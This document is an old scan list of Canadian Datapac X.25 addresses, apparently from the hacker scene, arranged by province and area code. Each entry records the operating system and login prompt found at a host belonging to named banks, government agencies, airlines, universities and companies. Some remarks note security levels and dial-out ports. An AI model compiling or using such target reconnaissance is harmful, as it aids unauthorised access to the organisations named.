51100009             XMUX      node: MONTREAL  Pella Hunt Corporation
51100035             HP-UX     
51100038             VAX/VMS    v5.5 - 2HW
51100042             XMUX      node: STARTMTL
51100110                       XGATE:
51100201             UNIX
51100216             SCO OD    Sclmon
51100231             XMUX      node: THAVILL
51100232             HP3000DTC DTC:4807.GMT.BOMBARDIER
51100293           $           Economux Telecom Inc.
51100298                       XGATE:
51100368                       INFODOC BBS
5110036801                     I-D NET Destination:
51100373                       ? for a menu
- 513 - QUEBEC   - Up to 200
51300170                       TERMIUM STRTC INC  DESTINATION:  (server)
- 514 - QUEBEC   - Up to 200
51400026             UNIX      NLC Solar System (nlcvenus.x25)
- 515 - QUEBEC   - Up to 210
51500034                       DIAND INFORMATION SYSTEM 
51500034,console     XMUX      node: INA
- 518 - QUEBEC   - Up to 400
51800036             ISM       C.T.I.  ALCAN  C.S.D.
51800046             UNIX      X.29 Terminal Service
51800064,console     XMUX      node: MONTREAL
51800077                       (time) (date) LINE#2
51800116                       PC2LAN Connected to Router mon_x25
51800118             XMUX      node: XMUX1MTL
- 526 - QUEBEC   - Up to 600
52600251             VM/SP     (L to VCN)
52600254             VAX/VMS   Hydro - Quibec VAX 3300 (GESCON)
52600548             STARMASTER  
- 529 - QUEBEC   - Up to 100
52900018                       ENTER FUNCTION  (Network Manager)
- 531 - QUEBEC   - Up to 200
53100020                       SERVICE ID=
- 535 - QUEBEC   - Up to 300
53500036                       SERVICE ID=
- 536 - QUEBEC   - Up to 600
53600041           $ VAX/VMS
53600212                       A1B2C3
53600214                       EURODRIVE / MONTREAL
53600273                       CBI Credit Bureau
53600321           $ PACX      GANDALF ACCESS SERVER
53600475             HP3000    CORP950.CORP.DOMTAR
- 537 - QUEBEC   - Up to 1200 
53700060             HP3000    MPE V
53700133                       ISP-LOGON-CHRISTIE
53700217             XMUX      node: MONTREAL
53700229             TSO/E     cnsna02
53700233                       Johnson & Johnson's
53701022             AOS/VS    UNI-SELECT INC.
53701022,console     XMUX      node: UNISEL
53701050             VM/SP
53701127             XMUX      node: MTLBANK
53701166             ULTRIX    v4.2  CIBC
- 538 - QUEBEC   - Up to 300
53800014                       SERVICE ID=
53800091             VAX/VMS
- 541 - QUEBEC   - Up to 1050
54100013                       ::
541000401                      w13>
54100314,console     XMUX      node: PRRMTL
54100320           $ RENEX     SN-40013, v3 Enter service code-
54100481             VM/SP
54100494,console     XMUX      node: MONTREAL
54100591             RISC/AIX  Ideal Metals  AIX 3.2 for RISC System/6000
54100840             WANG
54100840,console     XMUX      node: IATA
54100840,host7       WANG
54100847                       C.M.Q 102 LOGON:
- 545 - QUEBEC   - Up to 200
54500025             STARMASTER   (user interface)
54500026             PRIMOS    22.1.1.R38   SYSA
- 551 - QUEBEC   - Up to 200
55100035                       Minicom Data Corp    Profits Montreal(ABM)
- 554 - QUEBEC   - Up to 200
55400038             VAX/VMS   v5.4-3 on node SSPO
55400074                       (wants a function)
55400190             VAX/VMS   Eastern Region VAXMTL
- 555 - QUEBEC   - Up to 500
55500010                       L28T023 UDEM2 DIM25 IDENTIFICATION:
55500011           $           enter system id
55500039                       enter system id
55500045           $           enter system id
55500062             STARMASTER
55500097             UNIX      Castor.IRO.UMontreal.CA
55500346             XMUX      node: MONTREAL
- 556 - QUEBEC   - Up to 1125
55600254             XMUX      node: MON1
55600314             VAX/VMS   BPCO
55600355             VM/SP
55600355,console     XMUX      node: RBMTL
55600385             HP3000
5560038551           HP3000    PACO.CORP.DOMTAR
5560038598                     TIMEPAC PAD ON-LINE  
55600397                       DATAPAC : SYSTEM READY
55600438                       GLOBEFAX MTL 01 8748
55600451           $ PACX      (Serves to an HP3000&9000 + a pad)
55600534             XMUX      node: CCI534
55600535             XMUX      node: CCI535
55600566                       C N TRACS MTL
55600638             XMUX      node: ESDENB
- 562 - QUEBEC   - Up to 700
56200135                       ID
56200174             VAX/VMS   ...Eros
- 563 - QUEBEC   - Up to 1100
56300037                       You are connected to DPN01A
56300050                       CONNECT:220 100 001
56300200             XMUX      node: STORE324
56300215                       BIENVENUE SECURITEE / MONTREAL
56300251             VAX/VMS   Air Canada Author (dunno if its a VAX?)
563002765            XMUX      node: MONTREAL
563002766            SunOS     (7/E/1) Digidyne (DDI_ADM)
56300402                       OCC System
56300403                       OCC System
56300430                       $$ 0000 CNS RLS:A1U1  PTS:0010PTL0011 SYS:MFER
56300435             Sim3278   
56300520           $ HP3000    CRABTREE.ISDP.SPL  MPE/XL
56300625             Access2950
56300816             UNIX      X.29 Link Established
56300819             VAX/VMS
56300861             RISC/AIX  Aix ver3  for RISC /6000
56300888             HP3000    NS1.CANLYTE.CANADA
- 564 - QUEBEC   - Up to 200
56400024             VM/SP     (gated through a Sim3278)
56400038           $ HP3000DTC
56400040             VM/SP          " "
- 565 - QUEBEC   - Up to 200
56500010             XMUX      node: PPESTE
- 566 - QUEBEC   - Up to 1200
56600012                       CONNECT: 120 000 001
56600159                       CLINIDATA Online Professional Databases
56600193                       HIBBS XBR Manager XBR Communications Inc.
5660034191                     (wants command, INV CMD if incorrect)
56600366                       DATASHARE
56600380             VAX/VMS   MTLREG
56600547             ISM       Northern Telecom(ISM serves to VM/SP & Sim3278)
- 569 - QUEBEC   - Up to 200
56900019                       3174 CONTROL UNIT EMULATOR 
- 571 - QUEBEC   - Up to 200
57100010                       ::
- 573 - QUEBEC   - Up to 110
57300019                       entrez un des caracteurs i,p ou t puis transmit
- 574 - QUEBEC   - Up to 200
57400022                       mcgill:  (server)
- 575 - QUEBEC   - Up to 700
57500111             XMUX      node: XMUX
57500269             VM/SP
57500310                       w13>
57500453             VAX/VMS
57500454                       ID?>
57500588             GMXMicro  Montreal Expos
57500588,lconsole    XMUX      node: PAD0  CM0
57500588,rconsole    XMUX      node: PAD1  CM1
57500634                       TRACE (wants a transaction indentification)
- 576 - QUEBEC    - Up to 1150
57600294           $ XMUX      node: HPBSHER
57600427             HP9000    Andritz Sprout Bauer  TKS Informatique Inc.
57600427,console     XMUX      node: SWHOOPER
57600480             XMUX      node: GBY
57600789,/04/                  (happy face & up arrow as prompt)
- 577 - QUEBEC    - Up to 200
57700036           $ VAX/VMS
- 578 - QUEBEC    - Up to 230
57800076                       service:
- 581 - YUKON/NWT - Up to 450    
58100003             XMUX      node: YUKON
58100003,cnsl        PACX      Health & Welfare Canada
58100007             VAX/VMS
58100013             VAX/VMS   Development Node NWTDV1
58100014           $           SIGNED ON TO WHITEHORSE - INAC
58100016           $           Welcome to INACNET Signed on to Yellowknife
581000597,modem      SAM24V    Global Out-Dial (2400 but works at 300??)
581000598            XMUX      node: RANKYK
58100076                       ::
58100078             VAX/VMS   DFO Yellowknife
58100102             VAX/VMS   DFO Inuvik
58100153                       ::
58100188             VAX/VMS   Production Node
58100319                       ::
58100320                       ::
- 582 - ALBERTA  - Up to 200
58200051             VAX/VMS
- 587 - ALBERTA  - Up to 200
58700010             HP3000
58700015                          Datapac Public OD
58700016                                ""
58700017                                ""
58700018                                ""
58700019                                ""
58700900           $              Datapac Public OD
58700901           $              Datapac Public OD
- 591 - ALBERTA  - Up to 200
59100088             PACX      (7/E/1) Athabasca University Datapac3000 Access
591000884            XMUX      node: XMUX
59100092             VAX/VMS   Librarian Member of Keyano's VAXcluster
59100099             VAX/VMS
- 593 - ALBERTA  - Up to 215
59300013             HP3000    MPE XL
- 594 - ALBERTA  - Up to 200
59400139             VAX/VMS
- 595 - ALBERTA  - Up to 315
59500022             PRIMOS    22.1.2.R7   UMAEDM
59500077             PACX      (user interface)
59500112             AOS/VS
- 596 - ALBERTA  - Up to 500
59600082             UNIX
59600095                       SERVICE ID=
59600119                       KN COMPUTER EDM
59600238                       SERVICE ID=
59600242             VAX/VMS   5.4-2
59600280                       ::
59600384             VAX/VMS   Alberta Research Council   TITAN 4000/300 5.5-1
59600492             VAX/VMS   B P CO
- 597 - ALBERTA  - Up to 200             
59700054             XMUX      node: FTR
59700143,console     XMUX      node: RSLEDM
- 601 - ALBERTA  - Up to 200
60100010                       University of Alberta MTS
60100198           $ VAX/VMS   VAX country
- 605 - ALBERTA  - Up to 1600 
60500061                       SERVICE ID=
60500101             XMUX
60500161             VAX/VMS   
60500228             XMUX      node: EDMONTON
60500230           $           EDMONTON - INAC
60500251             XMUX      node: EDM2
60500267             XMUX      node: 357
60500271             VAX/VMS   VAX/VMS v5.5
60500462             VAX/VMS   Northern Alberta Data Processing
60500588             INETCO    Metropolitan Trust
60500591             SunOS  SunOS 4.1 (apss_inr_x25)
60500654             VAX/VMS   MicroVAX 3400
60500803,console     XMUX      node: EDMXMUX0
60500827             XMUX      node: HAKEDM
60500856             XMUX      node: EDMONTON
60500886                       SARSAT Lut>
60501029             XMUX      node: EDMONTON
60501245             VAX/VMS   
60501246             XMUX      node: ED149ST
60501410             XMUX      node: HOCEDM
60501458                       DATAPAC : LED SYSTEM READY
- 615 - ALBERTA  - Up to 400
61500309             VAX/VMS   VAX/VMS v5.4
- 616 - ALBERTA  - Up to 310
61600123             VAX/VMS
61600153             VAX/VMS   Marvin the Robot  Development System
- 624 - ALBERTA  - Up to 560
62400176                       Connected to Channel 0
62400176,console     XMUX      node: CALGARY
62400382                       LEVITT SAFETY / CALGARY
62400395                       ISP-LOGON-CHRISTIE
62400415                       sign-on
62400440             UNIX      2000Login:
62400506             XMUX      node: CALGARY
- 625 - ALBERTA  - Up to 200
62500013             PRIMOS    21.0.5.R11 UMACAL
62500091             PRIMOS    
- 626 - ALBERTA  - Up to 332
62600009             ISM       Service/Service:==>  
62600046                       SERVICE ID=
62600112             ISM       
62600180             PRIMOS
- 627 - ALBERTA  - Up to 200
62700035             VAX/VMS   Lafarge Construction Materials 
62700068             XMUX      node: CLGRHOST
62700068,ed4         VAX/VMS
62700112                       SERVICE ID=
62700149             XMUX      node: CALGARY
- 633 - ALBERTA  - Up to 600
63300131                       enter class
63300513             AOS/VS    AOS/VS ][ 2.02 on DGC Network
63300900           $             Datapac Public OD
63300901           $                    ""         
- 634 - ALBERTA  - Up to 200
63400073                       ::
- 637 - ALBERTA  - Up to 300
63700010             XMUX      node: CAL8STNE
63700025             VAX/VMS   TransCanada Pipelines - Node UB
63700027                       password:
63700035             VAX/VMS   Andres Wines MicroVax][
63700044             XMUX      node: CALGARY
63700048             VM/SP     (gated off a Sim3278)
6370006299                     X.25 PAD MANAGER - Neste Petroleum
63700067             PACX      Carma Developers Ltd. (User Interface)
63700067,console     XMUX      node: CALGARY
63700070,console     XMUX      node: CALGARY
63700086             SCO/OD    sclcal SCO Open Desktop
63700088             XMUX      node: GENIE
63700099             VAX/VMS   3100/V5.5  Running EDIONE
63700134             VAX/VMS
63700143             RISC      RISC/6000 HBX-PAD v-2.0 x25
63700149             XMUX      node: CALD
63700154                       ISP-LOGON-CHRISTIE
6370015598         $           CSI X.25 Micropad / Tektronix - Calgary term RC
- 641 - BC       - Up to 200
64100016                       Transmountain Kamloops
- 642 - BC       - Up to 200
64200020             VAX/VMS
- 647 - BC       - Up to 1200
64700081                       ::
64700104                       Wants a logon, but says "Too few characters"
64700134             XMUX      node: 370
64700135             XMUX      node: STORE042
64700212             VAX/VMS   Camosun College(R-Charge from authorized only)
64700214             AOS/VS
64700280             XMUX      node: EDCNTR01
64700346           $ VAX/VMS   BC Systems Corp - (DNET) Dist. Network
64700420             XMUX      node: VANC
64700434                       SERVICE ID=
64700461             UNIX      ctl login:
64700488,console     XMUX      node: TSSDS7A
64700491             VM/SP
64700494,console     XMUX      node: VCTADR01
64700502             UNIX      This is our latest & greatest X.29 Service
64700567             XMUX      node: VANC
64700601             VAX/VMS    
64700602             XMUX      node: VAN
64700695                       Thunderbird Home Centres 155
64700701                       Thunderbird Home Centres 101
64700745,console     XMUX      node: VICTORIA
64700767             XMUX      node: COCO
64700778                       Minicom Data Corp.  System B0
64700804             XMUX      node: ESQIMALT
64700835             XENIX     xenix386
64700839             UNIX      bbm4  X.25
- 648 - BC       - Up to 800
64800048           $ HP3000    MPE XL  hp3000.bc.wpin 
64800118             XMUX      node: 64800118
64800274                       Riverside Forest Products
64800319             INT/UNIX 
64800321,console     XMUX      node: KINGSGAT
64800340             XMUX      node: VIC1
64800347             INT/UNIX  INTERACTIVE Systems Corporation
64800363                       AMDAHL COMM. INC. 2222 Local Craft Multiplexer
64800365             XMUX      node: ANNACIS
64800368             INT/UNIX  INTERACTIVE Systems Corporation
64800371             HP3000    DCVAN.MB.NETWORK 
648003711            HP3000DTC
64800375                       COMM SERVER X.25 Enter UserID
64800385             VAX/VMS
64800443             VAX/VMS
64800450             NOVELL
64800456             VAX/VMS   
64800458             XMUX      node: (no node name)
64800463             UNIX      (softwords) CoSy 
64800463,console     XMUX      node: SOFTWORD
64800468                       Operator code:
64800479             XMUX      node: KAMLOOPS
64800538             XMUX      node: RCMD
64800539             XMUX      node: WVAN
64800549                       GLANCE Market Data Online Data BAnk
64800551                       XGATE:
64800558             TOPIX     vpl  Vancouver Sequoia Systems Inc.
64800569                       #
64800577                       ROYALNET
64800589             UNIX      X25  DO & Company
64800598             VAX/VMS
64800604                       please login
64800629             XMUX      node: VICDDP
64800635             XMUX      node: OGPT
64800673             XMUX      node: VICTORIA
64800691             INT/UNIX
64800694             INT/UNIX
64800715             UNIX
- 651 - BC       - Up to 1450
65100028             VAX/VMS   VAX 4000-300 Node: NORADM VMSv5.5
65100045             HP3000
65100072             XMUX      node: VANOAK
65100073             XMUX      node: STORE036
65100080             VAX/VMS   
65100098             VAX/VMS   CNC VAX 4500 VMS 5.5-2
65100161                       LEVITT SAFETY/PRINCE GEORGE
65100229             XMUX      node: DATAPAC1
65100589             INETCO
65100625                       ACME Analytical Remote User System
65100778                       Thunderbird Home Centres 116
65100779                       Thunderbird Home Centres 156
65100792             XMUX      node: VANPLANT
65101014                       Minicom Data Corporation System C3
65101079                       Thunderbird Home Centres 109
65101080                       Thunderbird Home Centres 112
65101081                       Thunderbird Home Centres 102
65101104                       ? (prompt)
65101109             XMUX      node: SLCV
65101267             XMUX      node: QUESNEL
- 661 - BC       - Up to 200
66100004           $ HP3000    NEWWEST.ISDP.SPL
- 662 - BC       - Up to 200
66200058                       SERVICE ID=
- 665 - BC       - Up to 260
66500002             VAX/VMS   Ed Centre Office System Server #1 VAX 3800
66500008             XMUX      node: LANGLEY
- 666 - BC       - Up to 400
66600062             VAX/VMS   VANREG
66600072             XMUX      node: LANGLEY
66600189             HP3000
6660021498         $           X.25 Async PAD
- 667 - BC       - Up to 200
6670002401           INETCO    NCX
6670002499           INETCO
66700032             XMUX      node: LGXMUX
66700038             VAX/VMS   v5.5-1
- 671 - BC       - Up to 1300 
67100132             PRIMOS    Version 22.0.4.r21   n:UMAVAN
67100255                       Thunderbird Home Centers #153
67100273                       Thunderbird Home Centers #110
67100482                       (I)ntl. (D)atapac (T)elenet (M)emotec?
67100489                       TERMINAL ID=
67100641                       COMINCO/SNA
67100752                       iNet2000
67100900           $              Datapac Public OD
67100901           $                    ""
- 672 - BC       - Up to 200
67200040                       University of BC  General MTS
- 673 - BC       - Up to 200
67300031             AOS/VS
- 685 - BC       - Up to 200
68500017,console     XMUX      node: RSLVIC
68500022                       SERVICE ID=
- 691 - MANITOBA - Up to 200
69100013                       SERVICE ID=
69100018             CYBER     CYBERSHARE MANAGEMENT INC.
- 692 - MANITOBA - Up to 2250
69200032             VAX/VMS   LUCKY is at your service!
69200069                       PRWC - LOG ON:  environment canada
69200239             XMUX      node: WPG
69200242             XMUX      node: WPGXMUXA 
69200276                       PRWC - LOG ON:  environment canada
69200343                       Enter Userid
69200344                       Enter Userid
6920035602           XMUX
69200492             AOS/VS
69200656                       ERNIE - LOG ON: environment canada
69200675                       SARSAT Lut>
69200901           $              Datapac Public OD
69200902           $                    ""
69201034           $                    "" 
69201035           $                    ""
69201036           $                    "" 
69201037           $                    "" 
69201057           $                    ""
69201058           $                    "" 
69201059           $                    "" 
69201060           $                    "" 
69201061           $                    "" 
69201062           $                    "" 
69201063           $                    "" 
69201064           $                    ""
69201074                       ERNIE - LOG ON: user (unpwd)  Enviroment Can.     
69201093                       3174 Control Unit Emulator 
69201400             UNIX      NCR 386/486  (odfwpg)
69201519           $              Datapac Public OD
69201520           $              Datapac Public OD
69201531                       $$ 4200 MODEL:
69201569           $           Please enter your full name: 
69201586             VAX/VMS   Bravo - Ops System
69201612             XMUX      node: WINNIPEG
69201675             SCO       Air Canada Production Communication (prodcom)
69201680             SunOS     CMTS X.29 Service  (NWSC) 
69201687                       DATAPAC : WPG SYSTEM READY
6920175399                     MONITOR: PASSWORD
69201838,console     XMUX      node: WINNIPEG   
69201965             XMUX      node: WPG
69201994             SCO OD    sclwin
69202170             XMUX      node: WPG
- 703 - MANITOBA - Up to 200
70300066             VAX/VMS
70300068             PICK
70300116           $           SERVICE ID=
- 707 - MANITOBA - Up to 235
70700040                       ::
70700113                       Minicom System LV
- 708 - MANITOBA - Up to 200
70800042             XMUX      node: WPG
70800051             UNIX      devcomm AIR CANADA Developement Communication
70800082             XMUX      node: 0
- 711 - SASK     - Up to 1700
7110017310           AIX/RISC  AIX ver3 for RISC/6000
7110017398                     Control Port/Node Kindrsly. Codex 6507 PAD
71100176                       ::
71100318             PICK
71100376             ISM       Potash Corporation
71100382             XMUX      node: SASKTOON
71100446                       User id:
71100583           $             Datapac Public OD 
71100584           $                    ""
71100585           $                    ""
71100586           $                    ""
71100595             XMUX      node: SAS1
71100732           $             Datapac Public OD
71100733           $                    ""
71100734           $                    ""
71100735           $                    ""
71100736           $                    ""
71100737           $                    ""
71100738           $                    ""
71100772                       SERVICE ID=
71100773           $             Datapac Public OD
71100900           $                    ""
71100901           $                    ""
71101196                       CAPA SOFTWAIN BOARD
71101202             DEVELNET
71101311                       SERVICE ID=
71101325             XMUX      node: STOON
71101329             XMUX      node: SASKAP
71101435,/05/        GMXMicro  
71101459             VAX/VMS   Saskatoon System 1
71101485             VAX/VMS
71101488,console     XMUX      node: MIDSASK
71101536             QINTER
71101545             XMUX      node: SASK
71101564             XMUX      node: SASK
71101597             UNIX      arcsask  The FAMIS Production System
- 712 - SASK     - Up to 225
712000471            VAX/VMS   WCSD/SALLY
712000479            VAX/VMS   WCSD/LINUS
71200064                       ::
- 714 - SASK     - Up to 425
71400113             VAX/VMS   MicroVMS 4.7
71400114             RSX-11
71400122                       ::
71400123             XMUX      node: SASKTOON
71400140             VM/SP     SIAST   Woodland Institute
71400180             VAX/VMS
71400227                       ::
71400228             XMUX      node: FAIRLITE
- 721 - SASK     - Up to 1900
7210001698                     Control Port on Node DATEC 
72100315             VAX/VMS   SPMC
72100776           $             Datapac Public OD
72100777           $                    ""
72100778           $                    ""
72100779           $                    ""
72100900           $                    ""
72100901           $                    ""
72101016           $                    ""
72101017           $                    ""
72101018           $                    ""
72101019           $                    ""
72101020           $                    ""
72101021           $                    ""
72101022           $                    ""
72101023           $                    ""
72101056           $                    ""
72101002             VAX/VMS   SaskTel
72101058             ISM       ISM Corporation
72101107                       >>
72101109             ISM
72101546             XMUX      node: REGINA
72101656             VAX/VMS   DirectWest
72101711             XMUX      node: REG
72101719           $           Datapac Public OD
72101778             PICK
- 723 - SASK     - Up to 200
72300013           $ VAX/VMS   Agriculture Canada SwiftCurrent ResearchStation 
- 724 - SASK     - Up to 225   
72400014             VAX/VMS
72400054             XMUX      node: MOOSEJAW
- 726 - SASK     - Up to 515
72600060             Sim3278
72600065             HP3000    Saskatchewan's Purchasing Info Network
72600144             XMUX      node: REGINA
72600145,console     XMUX      node: REGINA
72600148             XMUX      node: NPORTAL
72600156             XMUX      node: REG1
72600251             VAX/VMS   Regina System 1
72600253             NOVELL
72600271                       SERVICE ID=
72600346,/04/        GMXMicro  expos
72600366                       Please enter your User-ID:
72600395             XMUX      node: ASHREG
72600415                       Welcome to Cairns - Regina
- 732 - NB       - Up to 400
73200016             STARMASTER  (User Interface)
73200016,console     XMUX      node: BRUNMINE
73200147             XMUX      node: WOODSTK
73200239             XMUX      node: CHATHAM
- 735 - NB       - Up to 600
73500009             HP3000    HP950.DOMAIN.ORGANIZATION
73500192                       danscp> enter systemID 
73500314             VAX/VMS   MONREG
73500438             VAX/VMS   Enviroment Canada Water Quality
73500546             Sim3278
73500555             HP3000    HP950.DOMAIN.ORGANIZATION
- 737 - NB       - Up to 200
73700063             XMUX      node: ASHSJS
73700067             RISC      HBX-PADv2.0 x25
73700068             RISC           ""
7370007599                     MCN.1008 ENTER PASSWORD
- 742 - NB       - Up to 315
74200013                       Datanet8 Sys:0000MGDC TermID= BAKP NodeID:FNP0
74200014                            ""      ""               BAKR    ""
- 746 - NB       - Up to 1335
74600005           $           Datapac Public OD
74600081                       Enter Passcode:
74600165           $           Datapac Public OD
74600178             XMUX      node: STJOHN1
74600209             SCO       IANEC  SCO System V/386
74600278                       SERVICE ID=
74600382           $              Datapac Public OD
74600383           $                    ""
74600384           $                    ""
74600385           $                    ""
74600528             HP3000    NBOHSC
74600552           $              Datapac Public OD
74600553           $                    ""
74600554           $                    ""
74600555           $                    ""
74600556           $                    ""
74600557           $                    ""
74600614             UNIX      arcnb  Rel 01.03.02  Architel Systems Corp.
74600616                       DATAPAC : SYSTEM READY
74600617                       DATAPAC : SYSTEM READY
74600618                       DATAPAC : SYSTEM READY
74600619                       DATAPAC : SYSTEM READY
74600620                       DATAPAC : SYSTEM READY
74600717             XMUX      node: FREDRIC
74600718             XMUX      node: MONCTON
74600743             XMUX      node: STSTEPNB
74600900           $              Datapac Public OD
74600901           $                    ""
74601070             ISM       VETRANS AFFAIRS CANADA
74601157             RENEX     Renex Connect, SN-00400007 Enter service code-
- 747 - NB       - Up to 200
74700117                       ISP-LOGON-CHRISTIE
- 761 - NS       - Up to 1500
76100023             VAX/VMS
76100342             Sim3278  
76101900           $              Datapac Public OD
76101901           $                     ""
76150096             XMUX      node: DARTMOTH  
- 765 - NS       - Up to 200
76500027             VAX/VMS   MicroVMS v5.3
76500083                       LEVITT-SAFETY / DARTMOUTH
- 766 - NS       - Up to 900
76600004                       ::
76600028                       ISP-LOGON-CHRISTIE
76600041                       Enter pager ID(s):
76600198             VAX/VMS
76600540           $           AMHERST - INAC
76600664             XMUX      node: TRURO
76600806             VAX/VMS
- 767 - NS       - Up to 600
76700009             VAX/VMS   v5.5-2
76700104                       >
76700221             VAX/VMS
76700240             VAX/VMS
76700283             XMUX      node: ASHHAL
76700314             XMUX      node: (no node name)
76700364             VAX/VMS    
76700367                       XGATE:
76700419             VAX/VMS
76700461             UNIX      MT&T FAMIS/NCR 850 
76700462             UNIX             ""
- 771 - NS       - Up to 300
77100184                       ::
- 775 - NS       - Up to 200
77500001                       ::
- 781 - NFLD     - Up to 1300
78100092             VAX/VMS
78100265             VAX/VMS
78100402                        Datapac Public OD 
78100403                            ""
78100466                            ""
78100467                            ""        
78100468                            ""
78100469                            ""
78100476             HP3000    STJ.CLOVER.PRODUCE
781004761            HP3000DTC 
78100565           $ PACX      St. John's Reasearch Station (Agrinet) 
781005654          $ VAX/VMS
781005655          $ XMUX      node: STJNXMUX 
78100594           $ VAX/VMS 
78100600                        Datapac Public OD
78100601                            ""
78100602                            ""
78100603                            ""
78100604                            ""
78100605                            ""
78100606                            ""
78100607                            ""
78100651             VAX/VMS   node Leif VAX 4500 VMS 5.5-1
78100849                       ::
78100855             XMUX      node: NFLD
78100876             DYNIX     X.29 Terminal Service
78100869             XMUX      node: STJNHP
78100900           $              Datapac Public OD
78100901           $                    ""
78101001             XMUX      node: IMD
78101081             XMUX      node: STJCSP
78101097             VAX/VMS   Hibernia Management and Development Company
- 782 - NFLD     - Up to 600
78200042                       ::
78200095           $           SARSAT Lut>
782001481            HP3000DTC clover.produce
78200336,console     XMUX      node: NEWFOUND
78200473             VAX/VMS
- 784 - NFLD     - Up to 200
78400018             XMUX      node: 316
78400092             QINTER
- 791 - NFLD     - Up to 200  
79100066             VAX/VMS
79100161                       iNet2000
- 794 - NFLD     - Up to 300
79400100                       iNet2000
79400101                       iNet2000
79400268                       iNet2000
- 801 - ONTARIO  - Up to 200
80100020                       REQUEST:
80100021                       REQUEST:
80100057             ANNEX     Department of National Defense 
- 803 - ONTARIO  - Up to 200
80300012             STARMASTER  Node 03 (Dialin password required)
- 804 - ONTARIO  - Up to 560
80400001                       CHANNEL 15 : CONNECTED
80400136             RSX-11
80400427             VAX/VMS   
80400468           $ F1 OTTAWA   LOGON_ON:
80400472             STARMASTER I.S.T.C. Gandalf STARMASTER Switch
- 811 - ONTARIO  - Up to 1050
81100119                       UNITEL DIALCOM 19.4Q.111 System 26
81100120                               "        "              21
81100122                               "        "              22
81100123                               "        "              24
81100124                               "        "              26
81100130                       Canadian Corporate News, Toronto Office
81100131           $ Sim3278   CDSL  MDC
81100135           $ ISM
81100167                       iNet2000
81100169                       iNet2000
81100233                       UNITEL DIALCOM 19.4Q.111  System 20
81100235             HP3000
81100235,console     XMUX      node: CROWNPAC
81100241           $           TELERATE DBS  ENTER USER/PASSWORD
81100344                       UNITEL DIALCOM 19.4Q.111  System 21
81100345                       UNITEL DIALCOM 19.4Q.111  System 20(fr)
81100398                       UNITEL DIALCOM 19.4Q.111  System 24
81100581             ISM
81100611             UNIX      mwcfi
81100612             UNIX      mwcfi
81100616           $ RSTS
81100626                       ID
81100631             INT/UNIX  INTERACTIVE Systems Corporation
81100634                       Green Line Investor Services Inc.
81100672             HP3000    Norbord Industries Inc.  MPE XL
811006722            HP3000DTC 
81100676             HP3000    Burgess Wholesale Foods MPE XL - Newmarket
811006761            HP3000DTC
81100904           $           iNet2000
81101023                       Name:
- 825 - QUEBEC   - Up to 450
82500157                       Prudential Assurance / Montreal
- 827 - QUEBEC   - Up to 1000 
82700009             XMUX      node: ASBCLMTL        
82700107             ROLM      Call, Display or Modify? 
82700107,console     XMUX      node: CCAMTL 
82700294             VM/SP           
82700336                       ENTER INDIQUER,MODE,ID:                                          
82700606             QNX       ver 3.15
82700651             XMUX      node: CCI658
82700656,console     XMUX      node: BROSSAR
82700658             XMUX      node: CCI658
82700712             VAX/VMS   
82700806             ISM       terminal:TTAEXTAA
82700902           $              Datapac Public Od
82700903           $                    ""
- 828 - QUEBEC   - Up to 950
82800211             ISM
82800253                       NET R634 17 ID 
82800346                       (wants a function)
82800558             VAX/VMS   Micro VAX ][
82800565             XMUX      node: LEGARDR
82800571             XMUX      node: ABRMUX
82800596                       ALEXX
82800601             VAX/VMS   v5.2
82800602               "        "
82800603               "        "
82800604               "        "
82800689             UNIX      Private Network
82800760             RSX-11          
- 829 - QUEBEC   - Up to 200
82900060             VM/SP     Go thru a Sim3278.
- 831 - BC       - Up to 3100
83100024             VAX/VMS
83100069           $           SERVICE ID=
83100085             XMUX      node: DYNCON
83100157             VAX/VMS   S-P INTERNATIONAL'S MicroVAX ][ 
83100182             XMUX      node: VANCOUVE
83100189                       ::
83100209,console     XMUX      node: VAN
83100213                       SERVICE ID=
83100490                       (wants you to sign-on)
8310069335           HP3000    POWM.MB.NETWORK   POWM:
83100725                       SERVICE ID=
83100745             VAX/VMS
83101413             XMUX      node: VCR
83101667             VAX/VMS
83102290             INT/UNIX
83102683             XMUX      node: BRELSVAN
83102827             VAX/VMS
83102926             INT/UNIX
83102964             INT/UNIX
83102965             INT/UNIX
83102966             INT/UNIX  INTERACTIVE Systems Corporation
83102967             INT/UNIX
83102973             INT/UNIX
83102974             INT/UNIX
83103101,console     XMUX      node: RSLVAN1
83103101,van101      UNIX      refsup login:  RSL Vanc.
83103102,console     XMUX      node: RSLVAN2
83103102,van201      UNIX      refsup login:  RSL Vanc.
83103103,console     XMUX      node: RSLVAN3
83103103,van301      UNIX      refsup login:  RSL Vanc.
83103114             INT/UNIX   
83103116             XMUX      node: SURREY
- 833 - BC       - Up to 200
83300040             PICK      MENTOR 6000 O/S 2.6
- 834 - BC       - Up to 600
83400017             STARMASTER  Gandalf Canada Ltd. BBS System
83400108             XMUX      node: (GOOD security..possibly Gandalf itself)
83400117             VAX/VMS   SKEENA CELLULOSE INC. node: SCIADM
83400198             UNIX      LLOYD's REGISTER OUTPORT(Ship log)
83400212             XMUX      node: VAN
- 835 - BC       - Up to 1200
83500040             XMUX      node: VANXMUX 
83500042             VAX/VMS
83500045             VAX/VMS
83500046             VAX/VMS
83500062                       LINE#21
83500067                       Noranda Forest Sales Inc.
83500107             VAX/VMS   Trans-Mountain VC-1
83500241             XMUX      node: MTAVAN
83500259                       SERVICE ID=
83500280             RISC/AIX  
83500298             XMUX      node: RUCKER
83500298,calgt1                MAI4000 >  BOSS/IX
83500298,seat1                 Rucker Fluid Terminal
83500303             INETCO
83500402             XMUX      node: UBC
83500405                       (D)atapac,(M)emotec,(T)elenet,(I)nternational
83500406                       Thunderbird Home Centres 103
83500509             INT/UNIX  INTERACTIVE Systems Corporation
83500538,console     XMUX      node: RSLVAN3
83500538,van301      UNIX      RSL Vancouver. refsup. Altos Unix System v/386
83500543                       Minicom Data Corp. System BM
83500551                       Thunderbird Home Centers 105
83500559                       DATAPAC : SYSTEM READY
83500593             XMUX      node: RICHMOND
83500698             XMUX      node: TENEXVAN
83500730           $ VAX/VMS   
83500739                       CHANNEL 00 : CONNECTED
83500815             VAX/VMS
83500819                       Operator Code:
83500833,console     XMUX      node: 83500833
83500838             XMUX      node: VANCVR
83500856             XMUX      node: VAN7960
83500867             INT/UNIX  Interactive Systems Corp
83500873             INT/UNIX           ""
83500877             INT/UNIX           ""
83501003                       X29 Host Gateway  Network Password:
83501004                       Minicom Data Corp System LN
83501012           $ DECSERVER #
83501019                       Login:
83501044             INT/UNIX  Interactive Systems Corp
83501045           $           INAC Vancouver
83501055             INT/UNIX
83501058             VAX/VMS
83501062,console     XMUX      node: VANC
83501071                       Air Canada VR Student  Username:
83501090             XMUX      node: NFSVANC
